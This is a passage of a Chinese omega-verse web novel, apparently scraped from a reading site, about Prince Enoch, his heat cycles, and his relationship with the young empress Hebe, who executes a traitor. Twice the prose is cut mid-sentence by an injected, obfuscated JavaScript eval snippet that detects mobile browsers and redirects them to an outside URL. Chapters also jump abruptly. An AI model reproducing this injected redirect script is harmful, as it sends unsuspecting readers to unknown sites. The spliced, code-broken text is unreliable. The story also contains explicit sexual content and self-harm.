距离上次赫柏醉酒跑来他房间撒野,已经过去半个月,没再联系过他,赫柏,在他面前总是像个任性的孩子,好在以诺的双腿好了,想去福利院为孩子们传授基础军事知识和社交礼仪,没有被她拒绝。 福利院的老师们发现他平易近人,偶尔会和他开几个玩笑,说起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15078911|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天赫柏的登基典礼,邀请他这个姑姑的未亡人一起去祭祀,把所有人都吓到,“到底是怎么回事呢?” 以诺只能如实回答:“我不知道。” 赫柏很快帮他给出了答案,她表现出一位风流君主的特质,不仅出行时把侍臣亚瑟带在身边,而且与路易斯皇子关系匪浅,这样的情形下,她再来招惹一位无权无势的寡居亲王,不算奇怪。 甚至有人可怜他,风流多情对于年轻有能力的君王而言,是个人魅力的加分项,如果她要以强权迫使他就范,他哪里有反抗的余地,“新帝霸占寡居姑父”在星网头条存在的时间可能不超过五分钟,而不会对皇帝陛下有任何影响。 珍妮见以诺反应平平,八卦之魂持续燃烧,给他看了赫柏的绯闻合集:“陛下的口味真的很单一,这么多年她喜欢的无一例外都是可爱的omega小男孩,对了,还有一位beta男医生,他们在中学时关系很好……” 以诺看完她出示的影片,垂着长睫,不止是对影片内容还是对她的话,轻轻点头应和,面容还是一如既往的平淡。珍妮失望地问:“您就没有什么想说的么?”表达对新帝滥情的失望,对她移情的难过,什么都可以。 “没有。” 以诺看着她的眼睛回答,让珍妮大为泄气,以诺亲王,真的很无趣啊! 每天清晨六点坐公共交通工具来到福利院,帮园丁修建花草,清洁院子里的落叶,在孩子们起床前往他们的床头柜上放好清水和牛奶,上两节课,中午回家休息两个小时,下午,雷打不动地站在院子里发呆,等孩子们放学陪伴他们做完今天的作业,在下午六点回家。 如果没有外力干预,他大概会重复这样的生活,日复一日,直到老死。 难怪他深处这样一个绝妙的位置,却没有什么恨海情天的绯闻,除了赫柏在典礼上牵他出来那段,让整个帝国激动颤抖,可惜从此没了下文,赫柏陛下看起来已经移情别恋了,珍妮看着以诺玻璃镜面似的眼睛,叹气走了。 以诺还住在赫柏送来的别墅里,比起那只她送来的金尾雀,好处在于他还能出去走走,呼吸外面的空气。 这天晚上下了公共巴士,撑伞向别墅区走时,却看见亚瑟:“陛下她头痛得很厉害,亲王,求您去看看她吧。” 赫柏搬进皇帝的卧室,也就是刚刚被她毒死的亲生爷爷的卧室,外面井井有条,一路走来,临时办公室的每个人都在忙碌,卫兵列阵有序,但打开门,是满地狼藉。 老皇帝收藏的古董被砸成碎片,珍藏的皇帝朝服变成碎布条,赫柏光着脚翻箱倒柜,撕掉老皇帝和安帕的书信,被割破的双脚在地毯留下不少血迹。 ——“为什么没有人喜欢我呢?” 小赫柏在他眼前,顶着满头野草一样的乱发,以诺把她抱过来为她梳头,听她哭着说身边的侍臣不想给她梳头打扮,说她是恶魔,是不详的灾星,白瞎了进皇宫当侍臣,如果去伺候安帕少爷,肯定能得到不少赏钱。 以诺像无数次抱起小赫柏那样,踩过满地碎瓷片走到赫柏身边,蹲下,从身后轻轻抱住她,“我理解你为了登上帝位做的一切,没有怪你,如果你想要我的身体,我不会拒绝,赫柏,别伤害自己。” 16. 第 16 章 赫柏跪在一堆碎瓷片上,像从前那样充满恭敬和仰望,睁着缠满红血丝的眼睛:“那你能爱我吗?我不是想要霸占你的坏人,我只是想要你爱我,想要在你的心里,是最最特别的,谁都比不上的,求你了,答应我好不好?” 以诺拂开她的乱发,温热的指腹给她擦眼泪,深深看着她,却是无情地摇头:“对不起,我很爱你,因为你是赫柏,你对我来说是很重要的人。我想要看着你继续成长,远走高飞,成为贤明的君主,但是我想,那不是爱情,我不能骗你,我想这辈子,都无法对你产生爱情,但我希望你每天快乐。” “以诺,”赫柏展臂环紧他的腰身,浑身颤抖,不停呼唤他的名字,她不想要这样,她又单方面被他原谅了,真的很可笑,眼泪融进以诺的衣襟,她说,“我宁愿你恨我。” 每天恨她,以强权胁迫他妥协,践踏他的尊严和原则,恨她心狠手辣,满腹毒计,那样也算是把她放在心上。 以诺只是抚着她的脊背,一言不发。 “这是你的妹妹,安妮塔公爵送来的请柬,邀请你去参加你侄子西泽的周岁生日宴会,你去散散心吧。” 眼眶通红着的赫柏恢复了理智,把请柬递给他,光着脚走回床边,用被子把自己的身体蒙住,像鸵鸟把头埋进羽毛里。 以诺握着请柬,手心轻微发烫,再看一眼做错事后总喜欢把自己躲起来的赫柏,离开房间,对上面色急切的亚瑟:“陛下的脚被碎瓷片伤到,请给她上药。” 他想回到距离首都五个小时飞船的沧海庄园,在那里,他度过了幽静的童年,还有他的父母,祖父母,和妹妹的孩子们,一切都让他想念。 以诺捧着一杯热水,看飞船外面的夜景,手边是那只赫柏送的金尾雀,被他带出来,也精神抖擞地看向窗外,黑曜石似的眼睛,看向它此生未曾见过的风景。 他不喜欢宠物,但亚瑟走后,他承担了喂食的任务,因为看着雀儿呆呆愣愣的模样,觉得它可怜,时而把它带到窗边放风,如今,怕他走后喂食的人不够尽心,把金鸟笼带了出来。 他摸摸金尾雀头上的黑羽,它扭头和他对视,欢快地叫起来:“赫柏殿下!赫柏!公主殿下!” “皇帝陛下。”以诺教它说赫柏的新头衔,可是小雀太笨了,教了几遍还是只会说“赫柏殿下”。 到了庄园,妹夫沃尔夫带着六岁的侄女蒂娜来迎接他,小姑娘蒂娜扑进他怀里:“舅舅,我都几百年没见过你啦,你总算又来我家玩了,听说你生病了,现在是不是已经好啦?我带你去看安琪儿,她刚刚生了一头小牛,咦,这是什么?” 蒂娜见到以诺手上提着的鸟笼,用手指戳小雀的脑袋,以诺侧身提高鸟笼,“不可以用力戳它,它是会痛的。” “它叫什么名字?” “小雀。” “好无聊的名字。” 以诺认为自己对于小孩子来说,一定是个很无聊的人,但蒂娜跟在他身后,唧唧咋咋地说话,说自己最近学了什么,庄园里发生了什么事情,照顾她的仆人怀孕了之类的事情,他只好被她牵着手走向城堡,一路上微笑应和。 安妮塔的丈夫沃尔夫落在后面,看见以诺的态度,悬着的心终于放下来。安妮塔是一位冷血的政治家,在半年前以诺被指责叛国,众叛亲离的时候,请求他公开与家族脱离关系……现在,她又敏锐地嗅到以诺对新帝赫柏的重要性,决定拉拢她的哥哥,给他送去小儿子周岁的请帖。 他听说之前的事有点担心,问:“以诺真的不会记恨我们吗?”当初陷害他的尤利斯等人,都落得了十分凄惨的下场。安妮塔说:“以诺肯定不会恨我,但那位小皇帝,就不一定了。” 她亲自给他的哥哥写了一封请柬,然后马上吩咐庄园的仆人把以诺从前的房间打扫干净,确信她的哥哥接到信后一定会来。 沃尔夫怕话多的蒂娜让以诺厌烦,上前拉住小丫头:“好了,别再打扰舅舅,哥哥,今夜的晚宴在六点钟,您可以先回房间休息,到时候会有仆人引路。” 以诺的脸色似乎比下飞船时苍白了些,长睫倦倦地点头,沃尔夫当即叫人送他去房间。 以诺回到自己从前的房间,脚步越来越快,把带路的仆人摔在后面,关上门先把鸟笼放在桌上,立即从仆人先行送到的行囊里翻找抑制剂,揭掉盖子大口吞咽,液体从嘴角滑落,打湿胸前的衣襟。 这段时间连绵阴雨,他一直觉得不对劲,像几只蚂蚁附在骨头上,钻出酥麻和疼痒,这是久违的,情热期的前兆。 自从大半年前他受了重伤,数次手术中用了很多麻醉药,让他的本就紊乱的情热期彻底消失,那挺好的,不用为此困扰,但随着他的康复,老朋友还是来了。 “以诺亲王,您准备好了么?宴会已经开始了呢?” 仆人的敲门声响起,把以诺从迷乱的状态中唤醒,他看到自己的状况,衣衫只是披在身上,水液把椅子、地毯、抱枕一瘩瘩地弄湿,失神地坐在满是淫靡气味的屋子里,应对屋外的不断催促的敲门声,“请,给我十分钟,更换礼服。” 他双手颤抖地把最后一支抑制剂喝掉,今天的抑制剂摄入完全过量,但他别无他法,只能靠着这抑制剂维持的短暂清醒,去浴室用热水冲洗身体,撑着湿滑的墙壁出来,艰难套上繁复的礼服,勉强把自己收拾齐整。 他要出去,请仆人送来抑制剂,他也想参加小侄子西泽的周岁宴。 “以诺亲王,您没事吧?” 亲王关上房门,古怪的亲王,身着礼服仪态完美,脸色如常,但头发有一点湿润,一呼一吸异常紧涩,像坠在树枝上诱人的青桃,仆人问:“您是生病了么?”以诺知道自己的身体,用手自泄了一场再喝抑制剂,应该可以维持清醒,一个小时以上,他大方承认是到了情热期,“已经喝过抑制剂,劳烦你再找一些抑制剂送到我的房间里,以后几天,我会需要用到。” “好,好的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15078912|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚宴上来了很多贵族名流,以诺应付这样的情形没有难度,但他的身体被束缚在剪裁极为合身的礼服里,是发软的,一点一点染上滚烫的,非常难受,他给小侄儿送了礼物,想找个机会离开会场。 “这是我的哥哥,以诺亲王。” 安妮塔把几位大人带到他面前,晃着酒杯,逐一给他介绍,言外之意,是名利场上举足轻重的人物,想要通过他的关系搭上皇室。 以诺聆听他们的寒暄和恭维,以诺亲王身体无恙,真是太好了,我们真的很担心亲王的情况,对了,陛下她最近如何呢?我们都想到首都去拜会新帝,可是生意太忙,实在走不开……红酒干涩,一杯接一杯灌入喉咙,让他的心火燃烧得更加炙烈。 “唔,什么气味?怎么好像有信息素的味道。” “好像是,omega……” 以诺相信他的表情如常,但他的身体实在不由他所控。 没有人知道,在象征着皇室荣耀的,纯白亲王礼服之下,他的衬裤大概已经被打湿,很快就会蔓延到外层的绸裤,滴滴答答地落在地上,届时所有人都会知道,他是一个当众淫.荡发.情的贱人。 以前没有这么严重,但一直以来,他都饱受情热期的困扰,这是他的前未婚妻,塞克公主亲手带给他的痛苦。 她说:“你的身上,沾满了贵族教条的陈腐气息,刻板无趣得让人恶心。”她有一位小意温柔,媚眼如丝的omega情人,为了留住她无所不用其极,订婚那天晚上,他撞见他们的丑事,塞克公主捏着他的下巴,把留给情人的药灌进他嘴里,“这么喜欢看是吗?我满足你,等你变成和他一样的婊.子,我也会宠幸你的。” 那是非常剧烈的□□,很快,他在皇宫迎来第一次情热期,非常惨烈,身上的水分快要流干,肚子像一把匕首狠狠搅动那样剧烈疼痛,他几乎没了半条命,从此落下情热期特别严重的病根。 在军队时,他提前一天把自己锁起来,在房间里冲撞得遍体鳞伤,才能抑制住骨子里的躁动,如果恰好在出任务的时期,他会用匕首割伤自己的手臂,借助疼痛保持清醒。 安逸太久,他都忘了,情热期,对他来说有多可怕。 “抱歉,我,我想先告辞,失礼了。”以诺跌跌撞撞地离开会场,管不了自己的脸色如何,别人看到他的是什么模样,只知道再在那里待上一会儿,他会躺在地上扯开衣服,恨不得他们的皮鞋狠狠踩在他身上。 抑制剂,还有没有用呢,他不知道,他的身体有了很强的抗药性,但是,即使今天喝下超量的抑制剂对身体造成非常大的损害,他也还是要回房间继续喝,因为这是唯一的救星。 回到房间刚打开门,一个温热的身体贴近,熟悉的松柏气息围绕在他四周,瞬间压制了他血液中涌动的焦躁,让他舒服得像泡在温水里头。 黏满热泪的眼睛还没睁开,那人勾住他的脖子和他接吻,把他推到墙边,顺道关上房门。 40-50 第41章 第41章劫 长久地相拥之后,赫柏渐渐停下哭 泣,闷在以诺的肩上绕着他脑后的头发问:“所以你一直都知道,我没有放弃,是吗?” 她答应过不再纠缠他,自从进入别墅,一直都是一副无欲无求帮他治疗的姿态,其实看着这么一个香香软软的omega就在眼前极尽诱惑,她忍得可辛苦了。 以诺点头:“一直都知道。” “为什么呀?我的工作就是表演,你这是在质疑我的专业水准。” “你演的很好,但我了解你的本性啊,你都已经做了那么多,只差最后一步,如果不走完的话,你就不是赫柏了。” 赫柏闷笑,他问笑什么,赫柏拨开他睡衣的领子亲吻锁骨,发出模糊不清的声音:“唔,所以这就是你说的,永远都会原谅我吗?” 以诺仰起修长的脖颈:“是。” 赫柏忽然停下,掠过一阵后怕,她其实是很害怕以诺曾经说过,他的心脏里装着一枚由他控制的炸弹,她很希望那是假的,事后向很多知情人求证,却证实是真的。据一名后来转业到商界的,他曾经的战友所说,军队大约有十分之一自愿接受手术,以诺在得到权限的那天毫不犹豫地递交了申请书。 以诺给人的印象,一直都是很安静,用尽全力地训练、战斗,但他真的看上去毫无牵挂,如果有天传出他战死的消息,也不会太让人惊讶。 她真的很怕啊,如果以诺真的对她生气到难以挽回的程度,会选择玉石俱焚,所以在他逐渐信息素上瘾的时候,放出一些真假难辨的消息,说自己精神疾病发作,那样以诺应该不会太恨她,她成功了,以诺对她的关心盖过了生气。 “怎么了?”以诺察觉到女孩的突然低落,轻抚她的脊背问,赫柏双眼酸胀,还想要大哭一场。 “头痛……”赫柏被他从怀里挖出来,揉着眼睛说,以诺握住她的手拉下来,不让她揉眼睛。 捧着她的脑袋固定住,拇指揉按她的额角,长睫下专注的目光凝在她脸上,“这样有好一点吗?怎么会突然头痛,是不是今天模拟飞行的强度太大了?要不要联系医生过来看看?” 赫柏一吸鼻子,一颗眼泪就掉了下来,果然装可怜这招是屡试不爽的,她摇摇头再次扑向他:“没事的,是太累了,以诺,只要让我抱着你就好了,你让我抱抱……” 她不管,她就要一直装可怜,让以诺永远可怜她,这样就永远都不会对她生气了。 赫柏拉过以诺的手臂搭在自己背上,以诺轻拍她的肩膀,哄孩子似的手法,赫柏在十分安全的环境里很快犯困。 她咬咬下唇,眼皮沉重却还记得正事,在半梦半醒中翻着白眼嘟囔,“你等一下啊,我眯一会儿就叫醒我,咱们的正事还没有做呢,两分钟吧,两分钟后你要叫醒我……” 五分钟后,以诺把完全睡晕过去的赫柏放在床上,摊平,盖好被子,在她眉心落下一个轻吻,然后放轻脚步离开床旁边,关灯,合上房门。 他准备自己下楼完成今天的康复训练,最近很多场合需要出席,不能出现任何意外。 路过一楼浴室,里面有浇水声,还有隐隐约约的哭泣声,以诺敲了两下门,里面的声音全都停下,一片寂静。 “亚瑟,出来。” 亚瑟磨磨蹭蹭地打开浴室门,一条大毛巾搭在肩上擦头发,他的眼眶泛红,脸色和嘴唇却发白,一副心虚躲闪不敢看人的神情,以诺走进浴室,在排水口找到几块还没融化的小型碎冰。 “你往自己身上浇冰水,是不要命了吗?” 以诺口吻严厉,亚瑟瞬间跪下悲戚哀求:“亲王,求您了,不要赶我走,对不起,我只是想留下,想不到别的办法,求您网开一面,放过我,也不要告诉陛下好不好,呜呜呜……” 以诺面色冷淡,没说原谅也没让他起来,亚瑟的心越来越沉,怎么办,以诺亲王真的生气了,他脾气那么好,如果没有生气的话一定会叫他先起来,把头发擦干再好好说话,不要再跪着。 浅薄却有心机的少年,因为计谋得逞而洋洋得意的时候,其实一眼就能被看穿,以诺对他是有些恨铁不成钢的。在庭院里大声说笑,就能吵醒二楼房间里的他,赫柏不知道,亚瑟却是故意,以诺在下楼时看见他抱着国王棋站在赫柏后面,带着几分得逞地窃喜。 只要赫柏对他多说一句话,多吃一口他做的甜品,就会露出那种类似狐狸尾巴翘起来的神情,话里话外都在说他清楚自己的定位,是个随传随到的小奴隶。 “你把我当成了假想敌?” 亚瑟重重磕头,不对,亲王的反应不对,他一定是想要赶他走,亲王也会像他一样无可救药地爱上陛下,但他拥有更多权力,可以随意决定他的去留,陛下还没对他表现出明显的特殊,他要是这样离开,再想得到和陛下单独相处的机会,比登天还难! “没有,我不敢,亲王,我不敢把您当成假想敌,我只是,只是没有办法啊,只要离开陛下就会难受得像要死掉,我不想死,亲王,您是那样好心的人,求您救救我吧,您拥有陛下全部的爱和关注,您分给我一点儿,我不敢跟您争宠,只要陛下偶尔看我一眼就好,亲王,求您了。” 明亮的白炽灯照亮少年脸上的道道泪痕,以诺叫他先起来,擦一擦头发。 “原不原谅,不是我的事情,因为你伤害的人不是我。” 亚瑟顿住,怔怔然望着亲王,他的目光和语调依旧温柔,却带着一种深不见底的悲伤:“亚瑟,我希望你能明白一个道理,先自爱后爱人,尤其是,对赫柏,她绝对不会喜欢一个一味卑微讨好的人。洗衣做饭、随叫随到,陪她玩国王棋,还是自愿跪在她脚边当小狗……她身边有一千个这样的人在排队等着上位,比你年轻的,美貌的,有趣的,你凭什么能打败他们做她的狗。” “我……我不知道……” 亚瑟又哭,除了做狗他真的不知道自己还能做什么,“如果我是以诺亲王就好了,那样就能毫不费力地得到陛下的关注和爱,就像那是她与生俱来无法割舍的一部分。” “你说的是想要成为以诺亲王,从出生起就知道自己是贵族家庭的omega,早晚有天要被送去交换政治资源的存在,运气足够好我的妻子才不会是比我年长四十岁的财团负责人;未婚妻死在我们的婚礼当天,无数媒体追着我希望拍到我的失态,长达一年的时间我没有离开过皇宫半步;在我决定参军时得到来自全世界的反对,包括我的父母和妹妹,声明会和我脱离亲缘关系;记不清楚遭受过多少陷害和谩骂,如果我坐实了被诬陷的叛国罪名,悄无声息地死去,没有人会为我感到悲伤。” 还有更多的,悲哀的细节以诺没有告诉亚瑟,他没受过多少来自命运的优待,所以才会想要为这个和他当年同样迷茫的少年撑起一把伞。 亚瑟睁圆眼睛听着他的话,却一直摇头。 “如果能让我拥有您的家境和资源,从小熏陶的学识,开阔的眼界,我一点也不介意历经磨难,因为这些都是共同构成现在这个,让陛下迷恋的您的一部分啊。”亚瑟重重敲击自己的脑袋,“我宁愿要波澜壮阔的人生,轰轰烈烈地死去也没关系,为什么我这么平凡……” “你不平凡,亚瑟,每个人都是特别的,你需要找到自己的特别之处,那样才可能使赫柏爱上你。” “您……您不讨厌我吗?”亚瑟抽噎着问。 “……不讨厌。” 以诺不知道亚瑟有没有把他的话听进去,看起来是没有,在他答应了不会赶他走,也不会把这件事告诉赫柏之后,他非常开心,不停表示感谢。 就这样吧,每个人都有劫数要渡,他救不了所有人。 包括,他自己。明知赫柏是他的劫数,也只能选 择清醒地沉沦,陪她撞一回南墙。 …… 赫柏睡了一个前所未有的好觉,是那种可以回味很久的,过后会以各种方式尝试复刻的很香甜的一个整觉,第二天醒来时听到风声和虫鸣,从五月的春色里分出一丝半缕钻进窗缝,绕过柔绿的帐幔,钻进她被头发丝挡住的耳朵里。 原来一觉醒来的感觉可以美好成这样,她感觉自己像刷新了一副轻盈的身体,想到接下来要做的事,一天繁琐的任务,要应对的令人厌烦的人,无论什么都让她想快乐地傻笑。 以诺也睁开了眼睛,和她脸对着脸,瞳孔里藏着小星星,唇边勾起浅浅的笑纹:“早安,赫柏。” “早安,以诺。” 赫柏想自己应该是傻笑了,有点不好意思,往枕头上蹭了蹭耳朵,以诺抚向她的脸,“头痛吗?” “不痛,睡得好极了,出生以来就没睡过这样的好觉。”这样不行啊,她一直都想要自己是掌控着的姿态,怎么能被以诺勾两下就这么晕头转向呢,太不对了,赫柏捶了两下枕头,撑起身体凑近以诺的脸。 他的脸在她眼前放大,他看着她,手还按在她的耳畔,五指带着些微的力道嵌入她的头发,不知是想阻止她的轻薄还是想要拉她快点靠近,他的神情也看不出端倪。总归不是想要阻止的吧,他都已经微微张开嘴唇露出下半排牙齿。 清冷诱人,分明写满“任君采撷”四个字。 时隔很多天,赫柏再次亲到那双冰冰凉凉的薄唇。 第42章 第42章也许是求欢 太甜了,他的嘴唇是草莓雪糕上淋满果酱的第一口尖尖,赫柏小口小口品尝着,不舍得囫囵吞枣,一口吃光,也受不了无限拉长的折磨,因为忘记呼吸而满面醉红,昏昏欲倒。 原来以诺全身心配合时,是这么美妙,他把她的双唇纳进口中,拍拍她的肩膀或轻抚她的脸,做得很好,赫柏,就是这样,可以再重些,不会坏的,不要有任何怜惜。 赫柏真的要疯了,明明只是一个亲吻,她却像被以诺吸干了精气,就快要晕倒。 以诺支着她的肩窝把她拉开一些,唇上全是亮晶晶的口水,望着直喘气的她低低嗤笑:“陛下这就不行了?” “谁,谁说我不行了?你放了我,再来。” 以诺从善如流撤掉双手,失去支撑的赫柏发现自己的胳膊非常软,勉强用手肘撑住身体,缓了两秒,泄愤般再去啃咬以诺的嘴唇。 以诺的双手摆在头顶,就像有条无形的绳索把他的手腕绑在一起,指节弯曲、指缝张开的程度很适合她握上去…… “嘀嘀嘀——”手表传出声音,赫柏拍停,过了几秒种又再响起。 “接了吧,可能有事呢。”以诺往后薅被弄乱的头发。 “太烦人了。”赫柏忿忿离开草莓小蛋糕,跪坐起身接听电话,艾琳的声音很着急:“陛下,路易斯王子遇袭,现在在急救,医生说情况可能非常紧急,您方便回来一趟么?” “我得走了。”赫柏掀开身上乱七八糟的被子,爬到床边穿上拖鞋,跑进浴室洗漱,出来时以诺已经给她准备好了出门的衣物。 她看着依然面颊绯红的以诺,有点愧疚,搂住他的脖子,“对不起啊,你可以自己喝点抑制剂吗?如果你忍不住的话,就跟外面的亲卫说一声,他们会带你来找我。” “怎么会忍不住。”以诺笑着摇头,虽然裤子变得很湿冷贴在皮肤上,黏黏糊糊的水一直浸没脚后跟,但他不可能说出挽留的话,“快去吧,我等你回来。” 赫柏只知道他身上的omega气息格外浓郁,一颦一笑都让她脸红心跳,但是终归这么多天有了一定抵抗力,又念及正事,最终狠下心往以诺唇上咬了一口,“我走了。” …… 急诊室外,赫柏边听艾琳的报告边把路易斯的病例和案件的调查经过翻阅了一遍。 “陛下,今天是路易斯王子的枪械训练课,他很早就到了训练场,但是在上午九点十分,一名伪装成工作人员的杀手对他开枪,直击左胸要害,出手快准狠,目的就是取他的性命。” “杀手抓到了吗?” “当场自尽,但是法医检验了他的指节,发现有加里南帝国的枪械训练痕迹。” 赫柏的神色越来越凝重,直到急诊室的绿灯亮起,医生说子弹差一点射中心脏,患者算是命大。 路易斯穿着纯白的病号服,脸色苍白得像纸,对着两位警察说起遇刺的情形,下垂的狗狗眼满是惊惧。 “陛下,陛下!赫柏姐姐……”看见赫柏出现在玻璃后,路易斯泣不成声,不停哀求见陛下一面,等赫柏来到他面前,他先小心牵住她的衣角,然后把金色的脑袋贴在她怀里,“我真的很害怕,以为再也见不到您了。” “不会的,路易斯,别怕,跟我说说,你最近遇到了什么奇怪的人吗?”赫柏抚着他的金发,面色逐渐沉重,她对外一直声称路易斯是男宠,从没有透露过要送他回国的消息,为什么路易斯会招来加里南帝国的杀手! 除非,她的身边被安插了敌国的探子,而且占据了非常核心的位置,才能得知她真正的计划。 赫柏不能忍受她的身边可能有叛徒这件事,她对自己的内阁有种近乎洁癖的控制欲,连续十天,把可疑的人抓出来逐一审问,不眠不休,除了亲自审讯,所有的时间都紧盯监控录像,不放过嫌疑人的每一丝神情变化。 “陛下,您需要休息。”艾琳搀扶从审讯室出来的赫柏,清晨的阳光透过高檐上的小窗照在陛下毫无血色的脸上。 艾琳知道加里南敌国对陛下来说意味着什么,很多年前,陛下的父母,罗伊王子和王妃在征战加里南帝国的途中双双殒命,后来以诺亲王差点战死,陛下恨透了那个地方,加里南帝国皇室历来和莱茵帝国的贵族相互勾结,愚弄民众,陛下先收拾了本国的贵族,自然不会放过那个远在天边的邻国皇室。 路易斯王子是她的法宝,等现任皇帝阿莱德娜逝世,她会把路易斯推出去争夺加里南帝国的皇位。没有人会想到一个早已被送去敌国的omega能翻出什么风浪来,除了隐藏在陛下身边的,来自邻国的密探。 “今天中午来还有研究所和军方关于‘赫柏号’的第二次采购协商会议,陛下您别去了吧,以诺亲王他会体谅的。” 陛下之所以把审讯时间压缩到十天之内,就是因为今天需要去研究所,她想要再见到以诺亲王之前把一切琐事处理干净。 赫柏摇头拒绝艾琳的提议,沉声吩咐:“把索菲亚带过来,还有,把路易斯也叫来。” 索菲亚是一名老臣,从小看着赫柏长大,是老皇帝安东尼奥的内阁中为数不多看清形势,趁早倒戈的臣子,其他的大多被赫柏送去见了他们忠心的老皇帝。索菲亚的功劳和地位实在太高,得以幸免于这场搜查风波,虽然她的下属们没那么幸运,被轮番审讯了好几天,但她本人悠哉游哉,甚至有些得意忘形了。 “陛下,一大早叫臣来,有什么事么?”肥胖的身形填满整张座椅,索菲亚抖抖脚边的礼裙,朝角落的路易斯瞟去一眼,“哟,陛下的小男友也在啊。” 小皇帝的脸色略苍白,眼角眉梢依旧有种残忍的狡黠,笑容让人看了就心里发怵:“索菲亚公爵,您好呀,我赶时间,就不和你多说了。” “你……”黑洞洞的枪口对准她的脑门,索菲亚重重滑倒跪在繁复的地毯上。 索菲亚的确跟加里南皇室有联系,但她吃准了赫柏丫头没有证据,捏着一把汗过来,想着如果情势不对再求饶,她毕竟是有功的老臣,皇帝总不会太绝情吧。 没想到,陛下 竟然不打算拿出证据,也不打算把她放在法庭表决,直接把一把手/枪抵在她的脑门上。 “我,我怎么了?我对你仁至义尽,带着你的遗言下地狱找你的好主子去吧,索菲亚婶婶。” “陛下,臣冤枉……”索菲亚的话没说完,额头多了一个冒烟的伤口,瞪着不甘的双眼,庞大的身躯向后倒。 “路易斯。”赫柏把手/枪收进袖夹中,对浑身颤抖的路易斯投去一个眼刀子,后者立即撑着墙站直身体,按着胸前伤口不敢再发抖,赫柏吩咐:“换了你这身病号服,陪我去军械研究所。” 飞船上,赫柏对路易斯分析形势:“你的母亲阿莱德娜快要病死了,动手的肯定是你的哥哥姐姐,把你视为皇位的威胁,这段时间我要带着你出席各种活动,一来坐实你是我的宠臣减轻那些人的戒心,二来我身边的亲卫足够保护你的安全,你有意见吗?” “没有,都听你的。” 路易斯咬唇摇头,他有点害怕,陛下的这个状态很像是魔怔了,一直在不停预设可能发生的事情,絮絮叨叨念念有词,想不通时会抓她自己的头发。他想起艾琳他们私底下说过,陛下的精神问题其实很严重,她对一切都有着超乎寻常的控制欲,如果事情走向出乎她的预料就会很烦躁。 但是陛下的烦躁一般都是对着自己,不会对无辜的人生气,所以她是个很好的,让人心疼的老板。 路易斯却有些窃喜,但凡是人就有弱点,他多荣幸,能够见识到陛下不为人知的一面,好像他们平白亲近了很多。 路易斯尝试握住赫柏的手,她的指甲掐进他的手背里,“我知道了,一定是你的哥哥杜兰特亲王!他常年在雅文帝国游历,而索菲亚的孩子也在雅文帝国留学!”路易斯的手被抓得很痛,却一言不发,直到赫柏看向他的脸。 看清他的脸那一瞬,赫柏的情绪稳定下来,视线落在他的金发上,随意笑笑:“抱歉,路易斯,吓到你了吗?” “没有吓到我,陛下,我很心疼您。” “心疼我啊,那就保护好自己吧,你现在对我来说太重要了。”她从他手心抽回手,笑容冷下望向窗外。 路易斯感受着掌心残存的温度,回味她明明实话实说却让他无比心动的话语,心脏跳的很快。 第二次采购协商会议,陛下的身边多了一位金发小皇子,任何人看到他的金发和碧瞳都会联想到另一个人,众人用哀怜的目光看向以诺亲王。 明明上次会议,就在十几天前,陛下还和亲王眼神拉丝,暧。昧得路过的狗都被踹上一脚,今天像是不认识,全程没有眼神交流过。 不会是短短几天,就闹掰了吧? 陛下扮演一个冷漠的当权者,懒懒散散翻阅送到她手边的,修改过的协议书,看了几眼就说没问题了,摆到边上,其余时间都在走神,至于以诺亲王,文森作为他从前的部下,敏锐地察觉到他的情绪不太对。 在以诺作为上将时,他的情绪就是从不外放的,但熟悉他的人总能通过细微的肢体语言看出他内心的烦躁,也许只是长时间注视一个焦点,或是无意识旋动钢笔盖子。 “陛下,我可以跟着文森中将去参加赫柏号吗?”路易斯实在有点好奇,只在电视上看过那艘漂亮的战机,很想实地看一看。 赫柏第一反应是拒绝,忽然又觉得自己紧张过度,她对路易斯怎么这么像护崽的母鸡,揉一把他的头发:“去吧,跟着文森中将和以诺亲王,有什么想知道的只管问他们,不要乱跑。” 一行人离开,赫柏总算找到独处的时间,她现在脑子有点乱,需要独处来梳理一些事情,还有理顺自己的情绪,她总是不希望被人当作神经病对待的,已经尽力在做正常人了。 不知走了多久,大概是很久吧,夕阳西下了,从回廊走向小花园,沿着步道走了一圈又走回回廊,看了眼周围没人用牙齿把指甲咬的破破烂烂。 “赫柏。”以诺握住她的手让她回身时她正在,咬指甲? 赫柏忙把那只手藏在背后,对以诺扬起笑脸,“你不是带人去厂房参观赫柏号吗?怎么一个人回来啦?” 以诺上前一步,赫柏就退后一步,直到身后抵上墙壁。 以诺拉出她藏起来的手,看了眼她被冒血的指甲,用了点手劲捏住她的几根手指,让她低声呼痛。 “你在干什么?” 以诺把她堵在墙皮剥落的,旧办公楼的拐角处,浓重的昏黄暮色洒在他身上,俊美面容呈现出几分妖异,赫柏觉得他不是以诺了,是不知道从哪儿跑出来的,吃了以诺后披上他皮肤的妖怪。 “妖怪”看着她的眼睛,要把她的魂儿也吸走:“到底发生什么事了?赫柏,告诉我。” 赫柏受到蛊惑,把这几天发生的事一股脑倾倒出来,包括她的害怕,害怕她的衣服上有漏洞所以毒蛇能钻进来狠狠咬她一口,害怕她根本就没有能力掌管这么大的国家,那么多心思各异的人,一旦有人许诺更多的利益他们就会毫不犹豫地抛下她,一旦他们看出她的软弱,她的强撑,也会毫不犹豫地往她身上插刀,而她得罪了那么多人,真到了那一步会死无葬身之地。 